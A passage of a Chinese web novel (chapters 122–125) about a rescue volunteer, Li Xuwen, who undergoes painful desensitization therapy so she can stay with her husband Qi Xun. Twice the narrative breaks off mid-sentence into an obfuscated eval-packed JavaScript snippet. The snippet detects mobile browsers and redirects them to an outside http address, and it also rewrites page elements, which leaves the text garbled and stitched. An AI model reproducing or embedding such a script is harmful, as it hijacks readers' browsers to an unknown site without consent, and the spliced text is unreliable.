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她手腕上的心率手环在孜孜不倦地滴滴报警。 “你好像一直在告诉我什么是对的。”她勉力压下狂跳的心脏,问:“可是林老师,这种事,真的有对错之分吗?” 林青淮微微提高声音:“当然有!让你恐惧、对你隐瞒、让你身心都本能厌恶抗拒的人,就是错的。”说完他不自然地停顿了下,才道:“让你感觉安全、依赖的选择,才是对的。” 坐在床上的人转头看着窗外,树影在朦胧夜色里幢幢地摇动。 “嗯,”黎叙闻轻声道:“我知道。” 她收回眼神,把很多情绪一并压回眼底:“我知道齐寻有事瞒我,也知道他过往复杂,甚至如果非要说,我现在躺在这,他也确实难辞其咎。” 林青淮心底一震,继而盯住她的发顶。 可她忽然抬起头:“可是我不甘心!” 这一声太疼了,林青淮心上像被剐了一刀,眉心一抽:“叙闻……” “我跟他多不容易才走到今天,我生病难道是他害的?”黎叙闻声音颤得厉害,却压得极低:“如果他是个混蛋,他杀人越货、出轨家暴,我第一个弄死他,可是他做错什么了?” 她整个人抖得似风中落叶:“是我,那时候是我自己非要留下,没有原因……我就是觉得如果不留下来挖到底,我就会犯一个巨大的过错……他明明劝了我,你现在要让我把锅全甩给他吗?” “我不甘心,林青淮,”她一眨眼,新的泪水就覆盖了旧的痕迹:“我不甘心。” “你无非是觉得他无辜,可是他真的无辜吗?”林青淮一把扣住她的手腕:“你根本不知道,他……” 话赶话说到这里,突然断了。 黎叙闻困惑地望着他,忐忑地等着他后半句。 林青淮死死盯住她的眼睛,吸进肺里的空气陡然震颤起来,冲得他整个人都在抖。 说啊,为什么不往下说了? 她对齐寻的恐惧她自己也心知肚明,还割舍不下无非是觉得齐寻没做错什么,不该承受这样的结局。 可他知道,他知道所有他们两个互不知晓的事。 他知道齐寻苦心孤诣瞒着她的事实,也知道她为了摆脱阴影吃了多少苦头。她在梦里都在痛恨自己的病,她发过誓,那些如果真的有一个源头,她一定要手刃它。 现在只要说出来,只要说出他刚刚听齐寻亲口说的那一切,他们之间也许就结束了。 可他为什么不往下说了? 那一刻他心里浮现的是什么,是齐寻诉说那些事情时空洞的眼神,还是黎叙闻告诉她自己结婚了时,脸上洋溢的微笑? 又或者是他走上心理学这条路时,想要映照、理解每个人的初心? 林青淮蓦地闭上眼睛。 人类真是卑鄙又自私,愚蠢又懦弱。 齐寻是,黎叙闻是。 他也是。 “他不够坚强,”最后,林青淮说:“我希望你找一个能保护你的人,仅此而已。” 黎叙闻眼睫上还挂着泪,听到这句,愣了愣,蓦地笑了。 “林青淮你……”她苦笑着摇头:“我真是服了。” “他说了,如果你要分开,他不会纠缠。”林青淮瞥开眼:“这就是他的觉悟。” 她深吸一口气,脸色终于红润了些:“他没有后半句吗?他是不是还说,如果我不放弃,他也不会放手?” 林青淮:“……” 不等他回答,黎叙闻忽然握住他的手腕,语气真诚:“我听说这种害怕,可以脱敏解决,是吗?” 林青淮一怔,差点炸了:“你在说什么?脱敏过程有多痛苦你知不知道?到底有什么必要……” “林青淮,”她像之前的每一次一样,盯着他的眼睛,露出一个温软的、带着蛊惑的微笑:“帮帮我。” 林青淮看着她通红的眼尾。 所有阻拦都被这抹红打败了。 人类自私,愚蠢又懦弱,但偶尔,也勇敢得令人动容。 “……好。” 123. 第 123 章 半夜三点半,宿营区帐篷里如雷的鼾声此起彼伏,齐寻窝在角落的小桌子上,怀里抱着盏灯,半垂着头,在默然地神游。 他知道闻闻已经醒了,也看到姓林的进了医疗区,照时间算,该知道的她都已经知道了。 姓林的人是不怎么样,但这件事情上他说得没错,比起自己这样一个危险因子,还是他更能给闻闻一个安稳幸福的人生。 一想到这个,齐寻心底就隐隐泛上一股烦躁。 ——原本接近她的初心,就是想给她遮风挡雨,可现在他自己就是她的风雨,合该放手,他却发现,他根本舍不得。 他高估了自己的定力,也低估了自己对她的感情。 在他脚边,放着电锯妹用毛巾和棉花垫的小窝,小狗乖乖地睡在里面,呼吸浅浅,小肚子一缩一缩,听着比刚抱回来那会儿稳了许多。 齐寻把它抱起来,又想起她坐在薄碎的阳光里,低头温声哄小狗的柔软模样。 手边的对讲机忽然响了。 齐寻手一抖,怀里的小狗哼唧一声。 她的声音带着点消耗后的疲倦:“齐寻,你在吗?” 齐寻喉头一紧,后脖颈蓦地僵硬,话到嘴边又堪堪刹住车,按住对讲机,用指尖敲了一下。 笃。 就这一声,黎叙闻在对面,又想哭了。 他明明也很伤心很委屈,说不定还很焦虑,可还是记着,她听不得他的声音。 她使劲吸了下鼻子,才又按下通话键:“对不起啊,我……” 说到这她忽然哽了一下,信号蓦地掐断,齐寻在这边呼吸也被掐断了,一颗心断了线,猛地向万米深渊下坠。 手台安静了很长时间,像是在看不见的信号池里,酝酿一场大风暴。 齐寻盯着它,意识到她马上要做出选择,便拿着手台,慢慢走出了帐篷。 黎叙闻这边还在斟酌词句,听到对面宿营区响起熟悉的脚步声,立刻道:“我们不分开,行吗?” 对面没有立刻回答——这次换齐寻不说话了。 奇怪的是,他什么都没说,可黎叙闻偏偏能感觉到他问了太多话,比如你好些了吗,今天发作是因为我吗,现在还难受吗。 还有,如果以后都不能再见面了怎么办,你还选我吗。 酸涩的潮水一阵比一阵浓烈,漫过她的心底,喉咙,鼻腔,最后又漫进眼眶。 “选你,”她稳了稳声线:“我一辈子都选你,金城武来了都不换。” 齐寻站在帐子后面,垂着手,听见这一声猛地从手台里窜出来,慢慢飘散在他周围沉静的夜色里。 那一瞬间他忽然有了一个特别荒谬的念头,他想把这句话从周围抓回来,每一个波动,每一个被它推动的粒子,他都想抓回来。 这样的时刻,他只想独有。 后知后觉,他想抬起绷到酸疼的手臂回她一句,却赫然发现,自己好像在流泪。 他蓦地笑了,用手指重重地敲了一下对讲机。 “就是,我们现在还不能见面。”那边继续说:“我不知道为什么会这样,但……” 后半句话齐寻没有听见。 什么?他头脑混沌地想,她为什么不知道? 他把一切都告诉林青淮了,姓林的没听明白? 还是说…… 黎叙闻不知道他心里这许多曲折,刚刚那些说出来后,她自己也振奋了些:“但是没关系的,刚刚林青淮答应我了,说会帮我脱敏。这办法你也试过,确实有用,是不是?”停了停,她又补上:“他说如果我能受得住,会很快的。” 坐在她对面的林青淮拳头都要握爆了。 那是他说的么,不是她逼他承认的么? 黎叙闻满心欢喜地等着对面的回应,那边默了半晌,轻轻地响起了回音。 笃笃。 她愣了愣:“你不同意吗?为什么?” 齐寻看着手里的对讲机,不知道该怎么回答。 脱敏的原理很简单,简单到一句话就能概括:吐吧,吐着吐着就习惯了。 他太知道了,因为当时他在殡仪馆实习就是这样,那种全身心的恐惧、抗拒、生理性的排斥和恶心,夜夜不断的噩梦,连肉都吃不进去的难受。 当时他不得不硬扛,因为他有不得不去做的事——他要进救援队,他要救自己。 可她呢,她所求的,值得这样的忍耐和付出么。 对讲机静静地卧在他掌心,就此安静下来,黎叙闻也没再追问了。 齐寻盯着手台,想,先放手的人一定最痛苦。 如果她这么难过还舍不得放手,那做出选择、承受痛苦的人,就必须是他。 这个念头像一层水膜,慢慢隔绝了他的五感,将他的手指鬼使神差地,放在了对讲机的通话键上。 “齐寻。” 沉静夜色忽然被这声近乎机械的声音搅碎了。 齐寻浑身一震,转过身,见林青淮站在他不远处,面色冷淡地看着他。 “无论你想说什么,都免开尊口。”三更半夜,他镜片仍跟头发一样一丝不苟:“她现在需要的是你的支持。” 齐寻盯了他很久:“你确定强行脱敏对她更好吗?” 林青淮目光浅淡地看了他一眼,没回答他,反而道:“回京屿之前,她会好起来。” 良久,齐寻深吸一次,道:“你有什么方案,我全力配合。如果不行,我立刻安排她撤离。” 林青淮看了他一眼,转身就走。 “谢谢。”齐寻在他身后说。 林青淮脚步停下,却没回头:“你最好值得,别让我后悔。” …… 魔鬼一样的脱敏训练日程,就这样定了下来。 所幸随着救援队深入能力逐渐达到极限,救援工作也接近尾声,除了不再忙碌的遗体登记处理,只剩下扫尾回收和交接工作。 黎叙闻每天早起一小时,晚上晚睡一小时,中间见缝插针地做她的脱敏作业。 经过测试排除,她发现自己除了听觉和视觉,对齐寻的代号、名字、笔迹,都没有太大反应。 自从那天之后,齐寻就真的像条蛇一样,踪迹变得难以捉摸,营地就这么大点地方,黎叙闻在里面照常活动,真就连他的影子也没见过,偶尔听行动组聊天,会提到代号,她就只能从那些只言片语中,拼凑出他的一天。 大概是每次都能听到她的说话声、脚步声,或者她特有动作带起的衣服摩擦声,他总能在她看见之前,就躲进视觉死角里。 可她每天都能收到一些小玩意,一片红得很奇特的枫叶啦,一颗嵌满松子的松塔啦,或者是一朵压平了的小花,附上一张他写的字条,和一个手画的表情包。 她偶尔还能感觉到他的眼神,在背后默默地注视自己。 有时候炙热,有时候疲惫,有时候自责,如果哪天她跟林青淮呆得久了,或是说笑声大一点,那眼神还会变得不安和幽怨,可等她鼓起勇气一转身,它又会立刻消失了。 那一天小字条上的表情包也会变成个小哭脸,留着宽面条眼泪。 而林青淮每一天都在后悔答应她帮她脱敏。 “唔……”黎叙闻对着齐寻贴身穿过的T恤,抽了抽鼻子:“没有汗味……他洗了才送来的?” 林青淮:“……就穿了两个小时,特意留下让你测试的。” “哦,”她捧起来闻了闻,上面的确有齐寻身上淡淡的木质香气。 心率手环的数字稍稍往上蹦了下,从绿色区跳入了黄色区。 可她知道,那不是恐惧,那是具象化的思念。 “气味没有反应的话,”她抱起衣服:“那如果蒙上眼睛,不听声音,触摸是不是也没关系?” 林青淮一时没明白,道:“这个也要实地测试才知道,但这有什么必要吗?” “怎么没有必要,”黎叙闻理直气壮:“那个呀,就是那个!” 林青淮愣了片刻,终于反应过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328275|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随即苦笑:“叙闻,我好歹是个男人,你能不能……” 她是真不把他当外人。 也没把他当人。 这时候,电锯妹突然从外面气喘吁吁跑进来,一进门就冲黎叙闻来了:“幸存者给了半袋狗粮,今天我喂饭!” 林青淮问:“B组今天不是去回收装备了?回来了?” “没,他们还在现场。” “那你怎么回来的?” “跑回来的呀,”电锯妹奇怪他有此一问:“这不就是热个身的事。” 电锯妹,京屿市大学生运动会女子万米长跑冠军。 黎叙闻:“……” 难怪人家能进行动组。 她怀里的小狗闻到狗粮香味,皱了皱鼻子睁开眼,就着电锯妹的手吃了一粒,又悻悻地趴下了。 “乖乖怎么了?”黎叙闻抱起它,跟它蹭鼻尖:“还没胃口是不是?妈妈还给你喂肉汤好吗?” 电锯妹直眉楞眼的:“你给它取名字啦?” “对,”黎叙闻笃定道:“叫齐乖乖。” “啊?”电锯妹挠挠脸,神色古怪:“白蛇不这么叫啊,你家的狗有俩名儿吗?” “他说叫什么?” “叫黎可爱。” 林青淮:“……” …… 在太阳西斜之前,行动B组完成了最后一个区域的交接检查。 剪刀咔嚓一声,最后一根封锁带轻飘飘地滑落在地。 风卷着它轻轻翻了个面,橙色的轻质长带,柔软地飘向那片刚刚被吊车清出通道的废墟。 齐寻把封锁带卷好放进垃圾袋里,直起身望去,见灰白的浮沉漫卷在亮白的光束里,世界的碎片绵延直至视线尽头。 饶是这些天见惯了这些,他也不禁有些茫然。 机械马达的巨响已然停歇,风声、胶鞋触地的咯吱声、和探测器空茫的滴滴声,全部被留在时间的背后。 他签好最后一章撤场清单,按下对讲机:“核心坍塌区巡查完毕,确认无高危结构及遗留被困者,所有投放装备和救援垃圾已回收。” 他身后全体队员都默契地静默着,等着对面的命令。 “收到,”纪士诚的声音在手台里响起:“全域封控解除,B组外勤任务正式结束。” 齐寻听见背后有人长出了口气,但更多的人仍旧沉默着,望着这片空荡荡的废墟——那些碎片里有只剩半只的皮鞋,有沾了污浊的餐碟碎屑,有无人认领的西装领结。 他转过身,看着每一个队员疲惫的脸,和他们身上析出的盐渍:“各位,结束了。” 所有人都神情发懵地望着他,没有人说话。 说来好笑,这场景很像剧组最后一场戏结束后,导演一声“全体杀青”,所有人跟某个世界的关联就此结束。 但在片场,这两个字意味着值得庆贺的完成,而在这里,意味着在天灾面前,他们已经做尽了能做的所有。 “愣着干什么?”齐寻笑了声:“还想继续干?” 电锯妹第一个愣愣地发问:“结束了?我们……要回家了?” “没那么快,还要交接、休整、清点物资。”齐寻把身上的绳索卷好,道:“但身体力行的救援工作,是的,到这就结束了。” 自然灾害救援跟其他救援不同,从深山里救人出来,接下来就是新生,而在地震里,接下来是长达几年的重建和复原。 队员里面有很多人没经历过这样的场景,总觉得胸口还横贯着一口气,上不去,下不来,感觉人力终有尽头,而重启遥遥无期。 “别都苦着脸了,”齐寻口气还算轻松:“一年两年五年,都是一眨眼的事。等你们下次再听到库萨的消息,它一定会比原来更好。” “是吗?”有人迟疑地问。 齐寻抬目远眺,不知在望向哪个时空里的家园。 那是他曾经无处安放的痛苦,也是他亲眼目睹的奇迹。 “是的,我保证。” 124. 第 124 章 继B组之后,当天傍晚,A组也完成了最后的清理核查。微光救援队的外勤工作正式告一段落。 又一个缀上金箔的黄昏时,大本营迎来了三周以来第一个身心放松的晚上。 前几天已经有一批队员先行撤离,营地里冷清了不少,大家的话题也终于不再围绕着“今天救了几个”“那二次塌方真够呛”,而是渐渐回到了日常。 “医疗帐要撤了?”阿咩嚼着最后一根折耳根,抬头问避之不及的黎叙闻:“什么时候?” “嗯,早上最后一个黄标也转绿,去安置点了。”黎叙闻抱着剩下的薄荷油猛吸:“这两天吧就。” “刘濛挺靠谱,”大梁捧着干粮,跟阿咩随便唠:“因为救援闹矛盾的小夫妻我见得多了,另一半直接冲到现场的,咱微光还是头一回。” 刘濛在营地这么些天,所有需要人的地方都轮了个遍,终于不社恐了,用手肘捣了下阿咩:“听见了么,人夸我靠谱。” 阿咩翻个白眼:“是是,等回到家你最好还这么靠谱,跟祠堂也硬刚,行吗?” 大梁笑呵呵听了一阵:“这马上也要撤了,回去你们打算咋办?回去跪祠堂啊?” 刘濛看一眼阿咩:“就是……你还打算回家?咱直接私奔吧。” 黎叙闻正在一边煮茶,听到这句敏感地回头:“私什么奔?” 这几天相处下来,刘濛早知道她护阿咩跟护着小鸡崽一样,立马改口:“不不不,不是私奔闻姐,我们回去就领证。” 黎叙闻取茶包的手顿了一下,哦了声说:“也行,起码法律承认了。” “我们老家保守,没办酒敬神,那都不能算过门了,麻烦得很”阿咩接话道:“闻姐,你跟白蛇好像也没办酒哈?” 黎叙闻背对着他们,手里的保温壶一斜,水声潺潺地把她的回应盖在后面:“唔。” “你看嘛,不摆酒难道就不是夫妻了?”阿咩没留神她的反应,继续跟刘濛道:“闻姐和白蛇就是吾辈楷模。” “别人是别人,”刘濛坚持:“你想想,到时候如果长辈拿这个事要拆散我们,咱用什么堵他们的嘴?” 阿咩低头思忖片刻,忽然说:“要不就在这办了吧。” 刘濛:“啊?” 大梁:“不是,啥?” 黎叙闻:“……你要不要三思一下?” “思不了了,”阿咩摇头:“他们不就是要个婚礼吗,那咱们就给他们一个婚礼,不行吗?” 刘濛人都傻了:“这地方怎么摆酒?简陋完了……” “我倒觉得很有意义,”阿咩越想越觉得自己是个天才:“救援是我生命里最重要的一部分,这是你第一次参与进来,难道不值得纪念?” 黎叙闻把茶端过来,笑道:“这里可没有婚纱给你穿哦。” “也无所谓,婚不婚纱的,我不是很在意。”阿咩一耸肩,又问:“闻姐,你就没想过跟白蛇办婚礼吗?你想要什么样的?” 黎叙闻蓦地一愣。 她好像还真没想过。 “再说吧。”她匆匆笑了下,低头去喝了口茶,又说:“还有四天,真要办的话,得抓紧时间了。” 大家立刻被带偏,不再纠结她的打算,转而热火朝天地去讨论这场听着极不靠谱的震区婚礼了。 于是也就没有人注意到,一道始终贴在门口、被斜阳拉得很长的影子,在这时终于悄然离开了。 …… 直到临睡前,黎叙闻都还在想阿咩问她的问题。 婚姻这个东西,它远比相爱要复杂、难解。 原因很简单,因为人是会变的。 今天爱得死去活来,明天可能就劳燕分飞,一场疾病,一个变故,都能让爱侣从相依到逃离,爱到最后都是经济纠纷,更不体面的,搞成刑事案件的也不是没有。 那么多人都败在了这一关,她爸妈不也一样吗?相爱的时候你侬我侬非他不可,到最后还是难逃天各一方的结局。 “叙闻?”林青淮停在她几步之外,冲她眼前挥挥手:“在想什么?” 黎叙闻蓦地回神:“没,怎么,又带功课来了?” 林青淮的表情在灯光下里显得模糊:“今天就做做冥想,休息一下吧。”他拿了小录音机和一副耳机出来:“给你准备了白噪音,你试试。” 黎叙闻觉得好笑:“白噪音有什么好试的……” 她接过来,插上耳机,轻轻闭上眼睛。 耳边是深沉、浩瀚的海浪声,间或响起海鸥悠远的啼鸣,刹那间将她的意识从营地拉向无垠海岸,她甚至感觉到自己的脚趾正在陷进温热细腻的沙滩里。 林青淮一瞬不瞬地盯着她的表情,浑身都绷得发紧。 仅仅十几秒之后,黎叙闻浑身忽然一抖,整个人像在睡梦中忽然从高空下坠似地激灵了一下,呼吸陡然加重,猛地睁开了眼睛。 心率手环刹那间不要命似地响起来,她一把扯掉耳机,几乎从椅子上弹了起来:“这是什么东西!” 林青淮上前两步想安抚她:“冷静,没事的叙闻,没事。” 黎叙闻一只手臂僵硬地推住他的肩膀,脸色苍白着蹲下,一偏头,吐了。 吐过之后胃部的压力才稍稍缓解,她心悸了整整半分钟,才渐渐缓过神来,手臂一软,靠在背后的篷布上:“这是什么?” 林青淮立刻扶住她,递上水喝纸巾:“你听见了什么?” 黎叙闻茫然地看着他,大脑跟没上机油的齿轮似的,卡在原地许久,才咯吱着转了一下。 事实上,她什么都没听见。 那音频里,自始至终都只有非常正常的海浪声,但在刚刚那个瞬间,她分明感觉到一种阴冷的危险,好像她整个人暴露在一整面墙高的浪头底下,恐惧而无处可逃。 林青淮观察着她的反应,幽幽地叹了声,趁着营地有网,给齐寻发了条语音:“失败了。” 黎叙闻一愣:“是齐寻吗?”她拿出手机:“我跟他说……” 手机被人一把抽走,林青淮面色铁青:“跟你说过什么,在彻底脱敏之前不要跟他微信联系,否则会影响脱敏动力,不记得了?” 黎叙闻抿了抿唇,浑身还软着,近乎脱离地坐回折叠椅上,有气无力地问:“你们到底在搞什么?” 这听起来离谱的方法,是齐寻提出来的。 或许得益于她的决心和坚韧,黎叙闻的脱敏进程进展极快。这让林青淮觉得,是时候试试对声音脱敏了,但他对直接暴露又心有疑虑。 这时候,齐寻找到了之前同行的一篇论文,其中提到了这种潜意识脱敏疗法,虽然没有在业内推广,但有数据支撑,成效显著。 那条白噪音音频经过齐寻的特殊处理,把他自己的声音加速、倒放、叠轨再无声处理,覆盖上海浪声,是为了绕开她的意识,在潜意识层面让她习惯他的声纹。 林青淮一方面觉得离谱,因为比起心理学,这更像是某种灵.修法门,但另一方面又抱着点希望,因为这种疗法他确实有所耳闻。 但不幸的是,黎叙闻不是成功案例中的一员。 “是我考虑不周,”林青淮从地上捡起录音机,语气愧疚:“今晚不做别的了,你好好休息,明天也暂停一天吧,你……” 一只冰凉的手忽然缠上他的手腕。 黎叙闻还蹲在地上,显然刚刚的恶心和眩晕还没有过去:“录音机留下吧。” “你要这个做什么,”林青淮迷茫了一瞬,声音立刻拔高了半个八度:“不行!胡来!” 她手指微微用力,没有一点放手的意思:“为什么是胡来,你看,我没有晕过去,也没有走不动路,我只是吐了而已,这比上次要好太多了。” 她一双灵狐似的眼睛,眼角猩红:“不是脱敏吗,这现成的材料,是不是?” 林青淮真是有年代没见过这么不听话的病人了,气得额角突突的:“不要命了是吗?” “这才到哪儿呢,”她缓缓站起来,从他紧握的手里慢慢抽走了录音机。 黎叙闻偏过头,提高了声音,对着门口道:“我可是要上战场的人。” 听得守在门帘背后的齐寻一阵剜心的痛。 他站在门口,看着林青淮进去,听着她的每一点动静,和承受的每一秒痛苦,可他什么都不能说。 别说像林青淮那样陪在她身边,听她孤注一掷地犯倔,就连掀开帘子看看她,他都做不到。 可她早知道他来了。 “你不用一直守着我,”黎叙闻对林青淮道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331749|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们打个商量,如果我不行了,立刻用手台叫你,行吗?” 林青淮一阵头疼:“你就非要今天……” “对,非要今天。”她异乎寻常地坚持,却压低声音:“战地记者没有心理疏导的时间,要是在前线崩溃了,就只有回调一条路。” 黎叙闻垂下眼睛:“我不想像我爸一样。” 林青淮紧拧的眉头蓦地一松。 他以为她逼自己到这个地步,完全是为了齐寻,到现在他才明白,他根本看轻了黎叙闻这个人。 齐寻说得对,他并不懂她。 “那也得循序渐进,”林青淮口气稍缓:“我就在这,我陪你。” 黎叙闻摇摇头,看向门口:“我想跟他单独待一会儿。” 林青淮刚展开的眉心又重新起了波澜,盯了她半晌,长长叹了一声,又翻来覆去提醒了她好几遍,量力而行,一旦有任何不良反应,立刻停下然后去找他。 齐寻站在门边,里面的两人刻意压低了声音,嘟嘟囔囔的,听不清在说什么。他只听见帐子里声音忽然一停,紧接着林青淮就掀了帘子出来。 齐寻拦住他:“我不进去,但我可以在外面陪她。” 林青淮掀了掀眼皮,嗯了声:“一旦……” “我知道,一旦有危险,我立刻去找你。” 林青淮看他一眼,没再说话,径直走了。 “齐寻?” 一个再熟悉不过的声音忽然在他耳边炸响,齐寻整个人一激灵,定睛却见帘子遮得严丝合缝,一点光都透不进去。 “齐寻,”门帘微微向外顶出一个小小的圆弧,她的声音在靠近地面的地方响起了:“你陪陪我吧。” 黎叙闻抱着膝盖,背对着帘子坐着,没听见对面的动静,却神奇地感觉到门口的呼吸僵硬地停了一瞬,然后慢慢地、如履薄冰,也坐在了帘子的另一边。 他的脊背绷着,不敢完全靠着他,但他身上的体温和触感隔着薄薄的门帘,轻轻地伏上了她的肩膀,还轻轻蹭了蹭她。 像一个小心翼翼的拥抱。 黎叙闻身上蓦地一暖,刚刚的心悸忽而化作一阵呼之欲出的委屈,眼看要淹没她的喉咙。 帘子迅速开合了一下,一张小纸条从缝隙里飘进来,落在她的脚边。 那上面是齐寻工整方正的字体:闻闻,我很想你。 黎叙闻捧着字条笑了,稍稍吸了下鼻子,重新拿出录音机:“那我快点好,今天你陪我做作业。” 门外铅笔蹭在纸上的沙沙声响了好久,字条才又递过来:你只要不舒服,我就立刻去叫林青淮,别勉强。 “不行,”黎叙闻坚持:“齐寻,这不仅仅是为了我们,也为了我以后能做战地记者——如果手环不报警,你就不要走。” 对面不吱声,沉默了很长时间,才用后脑勺向后一靠,直接枕在了她头顶上。 黎叙闻推他:“走开,长不高了!” 她听见帘子后面传来一声气息声,像是他在笑,但仅仅一瞬,他就忍住了。 黎叙闻深吸一口气,手指已经按在了录音机的播放键上,却忽然见帘子掀开了一角,一直粗糙宽大、骨骼分明的手,从缝隙里递进来。 黎叙闻脊背僵住,好半天都不动弹。 她盯着这只无比熟悉的手半晌,一时竟没有勇气牵住它。 齐寻在门帘后面静静地等着,呼吸不由自主屏住,好像又回到了跟她相亲的那一天——忐忑、困惑、故作镇定,还有抑制不住的心动。 手掌空了很长时间,他听见身后的人轻轻深呼吸一次,然后慢慢地,握住了他的手指。 她的手指很凉,带着点病态的潮湿,但很绵软,一开始还只是皮肉相贴的试探,到后来,她的五指都兴奋地缠了上来。 它们雀跃着缠住他的手指,楔入他的指间,然后将两只许久未见的手掌紧紧扣住。 齐寻垂眸看着久违的十指相扣,心里五味杂陈,酸甜苦辣一起汩汩地倒出来,最后汇成了一条宁谧的、潺潺的河。 他在她手心里慢慢写:别怕,加油。 他指尖的疤痕和薄茧粗糙地摩挲着她,黎叙闻细腻的手背上窜起一串串细小的电流,她咽了咽,轻轻捏住他的虎口:“不要闹了,开始了。” 125. 第 125 章 黎叙闻深呼吸三次,就着手上的温暖给的一点勇气,又将耳机插进了耳朵。 她整个人又向后靠了靠,把重量彻底搁在齐寻背上,轻轻闭上眼睛。 静谧的海浪声一阵接一阵地冲刷着她的脑海,黎叙闻屏着呼吸,绷紧身体,等待着自己被即将带来的暗涌卷走。 这十几秒的间隙,握在齐寻掌间的手指微微收紧,他实在忍不住,偏头从帘子的缝隙里,悄悄看了一眼她的侧脸。 她饱满的侧脸被笼在身边的灯点亮,唇角抿得平直,眉眼绷到僵硬,睫尖一点尘雾似的亮光,在轻轻战栗。 忽然,她浑身蓦地一紧,腕间的手环突兀地一声长鸣,紧接着催命似地嘀嘀嘀不断作响! 齐寻条件反射般地弹起来,死死按住她战栗的手。 海浪卷着那听不见的、但无处不在的声音,山呼海啸般瞬间淹没了她,她在无边沉寂的窒息里挣扎着浮起,又被下一个浪头砸下。 但她的手一直攥着一条安全线。 她甚至不必担心自己放掉,因为无论她是不是清醒,有没有放手,这根线都会一直绑着她,牵住她,永远不会断线。 齐寻在这个瞬间分裂成了两个互不相干的个体,一个带来无边的窒息和恐惧,让她避之不及,另一个却是她在世界上最信任的爱人,只有攀着他的存在,她才能慢慢地走回尘世间。 “齐寻,”她双眼紧闭,颤抖着轻声叫他:“别放开我……” 永远、永远不要放手。 那只手攥她攥得极紧,她觉得自己骨头都要被捏碎了。但在那个幻境里,偏是这种切肤的疼痛,让她始终注视着远方的一点光亮。 齐寻感觉她的手正一层又一层地渗出汗水,背靠着他的身体体温也不正常地快速升高。理智告诉他现在应该打断她,应该立刻去找林青淮,可心指给他的,却是另外一条路。 信任她,他咬着牙想,坚持住,陪着她,直到她求助的那一刻。 因为她不仅仅是在为他努力,也是为了她自己。 这要比他经历过的任何一种努力、任何一种忍耐,都艰难百倍——哪怕眼睁睁看她撕心裂肺地痛苦,他也只能撑住,在怒海狂涛里给她撑一座安全岛。 他将她的手放在自己唇边,轻轻啄吻,无声地叫她的名字,一把名为愧疚的刀将他的心血肉模糊地切成了很多块,每一块都在鲜血长流。 不知过了多长时间,风终于停了。 海浪仍旧汹涌,海鸥仍在盘旋,空中的低语从未停歇,仍然无声地、无孔不入地,响在她的耳边。 可她上岸了。 黎叙闻慢慢地睁开眼睛。 她浑身都湿透了,汗水从前额滚落,跌进她的眼睛,跌出一阵咸涩的疼痛。 她的手还被他捏在掌心,已经没知觉了。 “嘶,”她带着笑轻抽了口气:“疼。” 齐寻一下子将她放开,把手轻轻放在她肩上,想问她怎么样了,想抱抱他,可一点力都不敢使,克制到颤抖。 黎叙闻近乎脱力地靠着他,力竭一般地垂下眼,去看手里的录音机。 那里面的音频还在兀自播放,在长达近二十分钟的行刑之后,它终于变回了普通的白噪音。 她抹掉脸上的汗水,声音虚弱,但还透着骄傲:“我很棒吧?” 齐寻咬紧了牙关才控制住没出声,轻轻吻了一下她的手背,然后在她手心里写:“睡吧?” 黎叙闻手心里痒痒的,握起拳来,把他的手指包住:“还有作业没做完呢,你还得陪我。” 齐寻一愣:还有什么?她还要做什么? “你那条视频啊……”黎叙闻靠着他,慢慢笑起来:“话说得真是乱七八糟,怎么也不找我给你写个发言稿呢?” 齐寻困惑地皱了皱眉,随即汗毛乍起! 她是还想加码,用听他的视频来再上一层难度吗? 他隔着帘子拼命轻拍她的背,像教训,也像警告:不许,不许!听见了吗! “一次,”黎叙闻按住他的手:“就一次,信我一回,行不?” 齐寻侧颈脉搏在突突地跳——他就是信她太多次,才眼睁睁看着她到了这种境地! 黎叙闻摘掉手环,戴在跟他相握的那只手上。 划在她手心的字眼力道更重:“不行!不要闹!” “我把手环都亮给你了。”她坚持:“真的就一次,要是失败我就不会再试了,全都听你的。” 齐寻不去拉她的手,坐在帘子后面一动不动。 黎叙闻用指尖轻轻划他的背,可他跟块顽石一样,就是不动。 她转过身,半跪在地上,双手隔着帘子去搭他的肩膀:“答应我,答应我答应我答应我!” 齐寻实在禁不住她恳求,深深叹了一次,终于朝着帘子后面伸出了手。 黎叙闻欢天喜地地握住他,跟得了什么奖励似的。 她稍微活动了下身体,拿出自己瞒着林青淮下好的视频,深深吞咽一次:“开始咯。” 她再次闭上眼睛。 这一次,她的意识连挣扎的机会都没有,在视频里齐寻的声音响起的那个瞬间,立刻就沉进了无边的黑暗里。 手环刹那震动起来,心率直直飙上黄色区域的最顶端! 几乎同一时间,一声非常小心的鸣泣,隔着薄薄的门帘,叩响在他的耳边。 这一声像一条盐水鞭,一鞭子抽在齐寻心口。 他忍无可忍,嚯地站起来掀开门帘,在黎叙闻反应过来之前就盖住她的眼睛,然后直接俯下.身,一把将她拢进了怀里。 怀里的躯壳受惊似地颤抖了一瞬,紧接着竟用尽全力,拼命挣扎起来! 她像是不认识这个忽然抱住她的人,蓦地叫起来,用残留的力气对他又踢又打,推着他胸口的手臂爆发出惊人的力量。 齐寻手臂将她紧紧箍在怀里,绷紧浑身肌肉,一边用坚硬的肉.体硬是扛住她的厮打攻击,一边张开手掌护住她后枕,让她满是泪水的脸埋在自己胸前。 “放开我!”她的尖叫声被他闷在胸口:“我不试了,求求你……放开我!” 齐寻眉心不断地抽搐,五脏六腑都跟着她的痛呼在刺痛,但手上的力道却没放松一分。 